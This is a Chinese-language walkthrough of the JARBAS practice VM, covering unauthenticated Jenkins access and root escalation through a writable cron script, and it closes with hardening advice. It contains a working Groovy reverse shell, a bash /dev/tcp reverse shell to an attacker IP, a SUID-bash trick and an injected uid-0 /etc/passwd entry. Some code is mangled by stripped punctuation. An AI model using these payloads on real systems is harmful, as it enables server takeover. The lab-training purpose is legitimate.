Jenkins未授权访问与Crontab提权实战:从漏洞利用到权限提升完整解析

发布时间:2026/8/11 9:06:04
Jenkins未授权访问与Crontab提权实战:从漏洞利用到权限提升完整解析 1. 项目概述一次完整的Jenkins渗透与提权实战最近在复现JARBAS这个靶机时我完整地走了一遍从Web入口发现、Jenkins未授权访问、到利用其功能获取shell最终通过crontab定时任务实现权限提升的全过程。这不仅仅是一次简单的漏洞利用更像是一次贴近真实内网环境的渗透测试演练。整个流程清晰地展示了攻击者如何利用一个看似普通的Web应用漏洞逐步深入最终完全控制一台Linux服务器的攻击链。对于想深入理解Web渗透、中间件安全以及Linux提权逻辑的朋友来说这个靶机提供了一个绝佳的“沙盘”。JARBAS靶机本身设计精巧它没有依赖特别偏门或0day的漏洞而是聚焦于那些在真实环境中因配置不当而高频出现的安全问题。核心路径就是信息收集 - Jenkins未授权访问 - 命令执行获取初始立足点 - 横向移动与信息搜集 - 利用crontab配置不当实现root提权。这个过程几乎涵盖了初级到中级渗透测试工程师需要掌握的大部分核心技能点。接下来我将结合实战复现的每一步拆解其中的技术细节、操作意图以及那些容易踩坑的地方。2. 靶机环境搭建与初始信息收集2.1 靶机部署与网络配置JARBAS靶机通常以虚拟机镜像如OVA格式的形式提供我们需要将其导入到VMware或VirtualBox这类虚拟化软件中。这里有一个关键细节靶机的网络模式。为了模拟真实的攻击场景我强烈建议将靶机和你的攻击机通常是Kali Linux设置为“桥接模式”或置于同一个“仅主机模式”的虚拟网络中。这样两者将处于同一网段可以直接通过IP地址进行通信避免了NAT模式可能带来的地址转换和端口转发问题。启动靶机后第一步是确定它的IP地址。由于靶机通常不会主动告知IP我们需要进行网络扫描。使用netdiscover或arp-scan进行二层发现是高效的选择因为它们基于ARP协议速度快且准确。# 使用 netdiscover 扫描本地网络段 sudo netdiscover -r 192.168.1.0/24 # 或者使用 arp-scan sudo arp-scan -l扫描结果中除了你已知的设备如你的攻击机、路由器那个陌生的IP地址很可能就是靶机。记下这个IP我们假设它为192.168.1.105。注意在真实渗透测试中获得授权后信息收集阶段同样始于资产发现。主动扫描是必要手段但务必在授权范围内进行并注意扫描流量可能触发的安全告警。2.2 全面的端口与服务探测拿到IP后下一步是进行端口扫描以确定靶机开放了哪些服务从而寻找潜在的入口点。nmap是这个环节的瑞士军刀。我习惯使用一个综合性的扫描命令它结合了SYN扫描、服务版本探测和默认脚本扫描能在效率和深度之间取得良好平衡。nmap -sS -sV -sC -p- 192.168.1.105 -oN nmap_initial.txt-sS: SYN半开放扫描速度快且相对隐蔽。-sV: 探测服务版本信息这对于后续搜索漏洞利用代码至关重要。-sC: 使用默认的Nmap脚本进行更深入的探测有时能直接发现漏洞或配置信息。-p-: 扫描所有65535个端口避免遗漏高端口服务。-oN nmap_initial.txt: 将标准格式的扫描结果输出到文件便于后续分析。扫描完成后仔细分析输出报告。对于JARBAS靶机你可能会看到类似如下的关键信息端口 22/tcp: 开放SSH服务。这是常见的远程管理端口通常是我们尝试爆破或利用密钥登录的目标但在初期没有凭证时往往不是首选突破口。端口 80/tcp: 开放HTTP服务。运行着一个Web应用这通常是渗透测试的主战场。端口 8080/tcp: 开放另一个HTTP服务。版本信息显示为Jetty 9.4.z-SNAPSHOT并且可能关联到Jenkins服务。这是一个极其重要的发现Jenkins作为一个广泛使用的CI/CD工具历史上有过多起严重的未授权访问和命令执行漏洞。发现8080端口的Jenkins后我们的攻击面瞬间清晰了许多。下一步就是直接访问这个Jenkins服务验证其访问控制是否严格。3. Jenkins未授权访问与初始漏洞利用3.1 验证Jenkins控制台访问在浏览器中直接访问http://192.168.1.105:8080。如果运气好或者说靶机配置“不好”你可能会直接看到Jenkins的仪表盘而没有出现登录界面。这就是典型的“未授权访问”漏洞。在旧版本或配置不当的Jenkins中其管理控制台可能默认对网络开放或者管理员错误地配置了安全矩阵允许匿名用户拥有过多权限。如果看到了登录框也不要立刻放弃。可以尝试一些默认或弱口令如admin/admin、jenkins/jenkins等。但在JARBAS靶机的典型设置中它往往直接允许未授权访问。一旦成功进入Jenkins控制台我们的目标就变成了在Jenkins服务器上执行任意系统命令从而获得一个反向shell建立稳定的远程控制通道。3.2 利用“脚本命令行”执行系统命令Jenkins提供了一个强大的功能叫“脚本命令行”Script Console它允许具有相应权限的用户执行Groovy或Java代码。在未授权或低权限访问的情况下如果这个功能对当前用户开放那就是一个绝佳的命令执行点。在Jenkins左侧菜单中找到并点击“管理Jenkins”。在管理页面中寻找“脚本命令行”选项。进入脚本命令行界面你会看到一个可以输入代码的文本框。这里我们可以利用Groovy代码来执行系统命令。例如最简单的测试是执行whoami和id命令来确认当前Jenkins服务运行的用户身份通常是jenkins或tomcat等非root用户。println whoami.execute().text println id.execute().text点击“运行”如果下方输出显示了用户名和UID/GID信息恭喜你命令执行成功了这确认了我们可以在目标服务器上以Jenkins服务账户的身份执行命令。3.3 获取反向Shell建立持久连接单纯执行命令的交互性很差我们需要一个完整的、交互式的shell。最常用的方法是获取一个反向Shell。原理是在攻击机上监听一个端口然后在目标机通过Jenkins上执行命令让目标机主动连接到攻击机的这个端口并将shell会话传递过来。在攻击机Kali上首先使用netcat监听一个端口比如4444。nc -lvnp 4444-l: 监听模式。-v: 详细输出。-n: 直接使用IP地址不进行DNS解析。-p: 指定监听端口。在目标机通过Jenkins脚本命令行然后我们需要在Jenkins上执行一个能建立反向连接的命令。由于目标环境可能没有netcat的-e参数支持或者存在防火墙限制我们通常使用多种Payload进行尝试。一个经典且兼容性较好的Python反向Shell代码如下String host192.168.1.100; // 替换为你的攻击机IP int port4444; String cmd/bin/bash; Process pnew ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket snew Socket(host,port); InputStream pip.getInputStream(), pep.getErrorStream(), sis.getInputStream(); OutputStream pop.getOutputStream(), sos.getOutputStream(); while(!s.isClosed()) { while(pi.available()0) so.write(pi.read()); while(pe.available()0) so.write(pe.read()); while(si.available()0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try {p.exitValue();break;}catch (Exception e){} }; p.destroy();s.close();将上述代码中的host变量改为你的攻击机IP然后粘贴到Jenkins脚本命令行中执行。如果一切顺利你会在攻击机的netcat监听窗口看到一个bash提示符例如jenkinsjarbas:~$。这标志着我们已经成功在目标系统上获得了初始立足点。实操心得反向Shell的稳定性有时不佳容易中断。一旦获得初始Shell我做的第一件事就是升级为一个更稳定的TTY Shell。可以使用Pythonpython3 -c import pty; pty.spawn(/bin/bash)或者script /dev/null -c bash。这能提供更好的交互体验支持命令历史、Tab补全等。4. 内网信息搜集与横向移动4.1 立足点后的基础信息收集拿到shell后不要急于进行提权。首先我们需要像一名真正的攻击者一样仔细探索当前环境收集一切可能有助于进一步渗透的信息。以下是一些关键命令当前用户与环境信息:whoami id pwd env这能告诉我们当前权限级别、所在目录以及环境变量可能包含数据库密码、API密钥等敏感信息。系统与网络信息:uname -a # 内核版本 cat /etc/issue # 系统发行版信息 hostname ifconfig 或 ip a # 网络接口信息 netstat -tulpn 或 ss -tulpn # 查看网络连接和监听端口了解系统架构和内部开放的服务可能发现新的攻击面。文件系统与敏感文件搜索:ls -la /home/ # 查看其他用户目录 find / -type f -name *.txt -o -name *.conf -o -name *.sh 2/dev/null | head -20 find / -perm -4000 -type f 2/dev/null # 查找SUID文件经典的提权向量特别注意/home目录下的用户文件夹、/opt、/var/www/html等可能存放应用代码和配置文件的地方。进程与计划任务:ps aux crontab -l # 查看当前用户的计划任务 ls -la /etc/cron* # 查看系统级计划任务目录 cat /etc/crontab计划任务crontab是我们本次提权的关键需要格外关注。4.2 寻找提权突破口分析crontab执行cat /etc/crontab命令仔细查看输出。在JARBAS靶机中你可能会发现一条类似这样的计划任务配置* * * * * root /opt/scripts/backup.sh这条配置的含义是以root用户身份每分钟执行一次/opt/scripts/backup.sh这个脚本。这是一个典型的基于路径的提权漏洞。原理如下权限cron任务以root身份运行这意味着它执行的脚本拥有系统的最高权限。可写性如果这个脚本文件/opt/scripts/backup.sh或者它所在的目录/opt/scripts/的权限设置不当允许我们当前的低权限用户如jenkins进行写入或修改那么我们就能够控制这个脚本的内容。后果由于cron会以root身份执行我们修改后的脚本我们就能让root去执行我们想要的任何命令从而实现权限提升。所以下一步就是检查这个脚本及其目录的权限。ls -la /opt/scripts/backup.sh ls -la /opt/scripts/如果发现backup.sh文件或/opt/scripts/目录对当前用户是可写的权限中包含w例如-rwxrwxrwx或目录权限为drwxrwxrwx那么提权的条件就成熟了。5. 利用crontab配置不当实现Root提权5.1 原理深度解析为什么可以这样提权Linux的cron服务是一个守护进程用于在预定时间执行命令或脚本。/etc/crontab是系统级的cron配置文件之一。当cron执行一个任务时它会以任务定义中指定的用户身份本例中是root来运行命令。安全风险出现在对脚本文件或目录的访问控制上。Linux的文件权限系统决定了谁可以读、写、执行一个文件。如果低权限用户能够向一个由root定期执行的脚本中写入内容就相当于“劫持”了root的执行流。攻击者可以将原脚本替换或修改为包含恶意命令如添加一个具有root权限的SUID shell、反弹一个root权限的shell等的版本等待cron任务下一次执行恶意命令就会以root权限运行。5.2 实战提权操作步骤假设我们检查发现/opt/scripts/backup.sh对当前用户可写以下是具体的提权步骤备份原脚本可选但建议cp /opt/scripts/backup.sh /tmp/backup.sh.bak这是一个好习惯便于我们了解原脚本的功能并在必要时恢复。编辑脚本注入提权命令 我们可以使用echo命令或文本编辑器如vi、nano如果可用来修改脚本。目标是让脚本在执行时给我们一个root权限的shell。有多种方法方法A添加一个具有SUID位的bash副本echo cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash /opt/scripts/backup.sh这条命令会覆盖原脚本使其内容变为复制/bin/bash到/tmp/rootbash并给这个副本设置SUID位。SUID位意味着任何用户执行这个文件时都会以文件所有者这里是root因为cp命令是以root执行的的权限运行。执行后我们运行/tmp/rootbash -p就能获得一个root shell。方法B直接反弹一个root权限的shell到攻击机首先在攻击机上用root权限监听一个新端口如5555sudo nc -lvnp 5555然后在靶机的脚本中写入反弹命令echo bash -c bash -i /dev/tcp/192.168.1.100/5555 01 /opt/scripts/backup.sh记得替换IP为你的攻击机IP。方法C在/etc/passwd中添加一个root权限用户这是一种更隐蔽的后门方式。先生成一个密码的密文例如密码设为hackopenssl passwd -1 -salt abc hack # 输出类似$1$abc$TkWZgYQp1QqCq5Qp5Qq5Q0然后在脚本中添加用户echo echo hack:\$1\$abc\$TkWZgYQp1QqCq5Qp5Qq5Q0:0:0:root:/root:/bin/bash /etc/passwd /opt/scripts/backup.sh之后就可以用用户名hack密码hack进行root登录。等待cron执行并验证提权 cron任务是每分钟执行一次所以我们最多只需要等待一分钟。可以不断尝试执行提权命令来检查是否成功。对于方法A等待一分钟后执行/tmp/rootbash -p如果提示符变为rootjarbas则成功。对于方法B等待一分钟后查看攻击机的5555端口监听窗口是否接收到root shell。对于方法C等待一分钟后执行su hack输入密码hack看是否切换为root。清理痕迹渗透测试后期必做 提权成功后为了不破坏靶机环境方便他人复现或在真实测试中减少被发现的风险应清理我们留下的痕迹。# 恢复原备份脚本如果做了备份 cp /tmp/backup.sh.bak /opt/scripts/backup.sh # 删除创建的临时文件 rm -f /tmp/rootbash # 删除添加的用户如果用了方法C sed -i /^hack:/d /etc/passwd5.3 其他可能的crontab提权场景除了直接写脚本文件还有其他几种常见的crontab提权姿势通配符注入如果cron任务中使用了通配符例如root tar -czf /backups/*.tar.gz /home/user/并且在/home/user/目录下攻击者可以创建文件名类似--checkpoint1、--checkpoint-actionexecshell.sh的文件利用tar命令的参数注入来执行任意命令。环境变量PATH劫持如果cron执行的命令没有使用绝对路径例如只写了myscript.sh那么系统会在PATH环境变量指定的目录中查找这个脚本。如果攻击者能够将一个恶意的myscript.sh写入到PATH中比原脚本更靠前的目录cron就会执行恶意脚本。脚本中调用其他可写命令即使脚本本身不可写但如果脚本内部调用了另一个可由低权限用户修改的命令或脚本同样可以导致提权。6. 渗透流程总结与防御加固建议6.1 完整攻击链复盘回顾整个JARBAS靶机的渗透过程攻击链非常清晰信息收集通过端口扫描发现8080端口的Jenkins服务。漏洞利用利用Jenkins未授权访问漏洞进入管理控制台。初始访问通过Jenkins的“脚本命令行”功能执行系统命令获取一个反向Shell建立初始立足点jenkins用户权限。权限提升在目标系统上进行深入信息收集发现以root身份运行的cron任务/opt/scripts/backup.sh。提权利用利用该脚本或目录权限配置不当低权限用户可写篡改脚本内容注入恶意命令。获取最高权限等待cron任务执行恶意命令以root权限运行成功获得root shell。6.2 针对性的防御加固措施从防御者角度我们可以从攻击链的每一个环节进行阻断Jenkins安全配置强制启用身份验证在Jenkins的“全局安全配置”中务必启用安全矩阵禁止匿名用户拥有任何权限为所有用户配置最小权限原则。定期更新保持Jenkins及其插件更新到最新版本及时修复已知漏洞。网络访问控制通过防火墙策略限制访问Jenkins控制台的IP地址范围仅允许运维或开发人员所在的网络段访问。审计脚本命令行严格控制“脚本命令行”功能的访问权限最好只授予绝对必要的管理员账户。Linux系统与cron任务安全最小权限原则cron任务应避免直接使用root用户。如果可能创建一个具有所需最小权限的专用系统用户来运行特定的cron任务。严格的文件权限对cron任务执行的脚本文件及其所在目录设置严格的权限。确保只有必要的用户如root和脚本所有者有写权限。例如chmod 755 /opt/scripts/backup.sh和chown root:root /opt/scripts/backup.sh。使用绝对路径在cron任务和脚本内部所有命令都应使用绝对路径如/bin/bash,/usr/bin/tar防止PATH环境变量劫持。谨慎使用通配符在cron任务的命令中特别是涉及压缩、打包等操作时避免使用通配符*或者在使用前对参数进行严格的验证和过滤。定期审计定期检查/etc/crontab、/etc/cron.d/、/var/spool/cron/等目录下的计划任务排查是否存在可疑或权限不当的任务。整体安全监控日志审计集中收集和分析系统日志如/var/log/auth.log,/var/log/syslog、Jenkins访问日志和审计日志监控异常登录、命令执行和文件修改行为。入侵检测部署HIDS主机入侵检测系统监控对关键文件如/etc/passwd,crontab文件, SUID文件的修改。通过这次JARBAS靶机的实战复现我们不仅练习了从外网突破到内网提权的完整流程更重要的是理解了每一个漏洞点背后的安全原理和配置错误。真正的安全能力正是在这种“攻”与“防”的反复思考和实践中建立起来的。在自家环境搭建靶机进行这类练习是提升实战技能最安全、最有效的方式之一。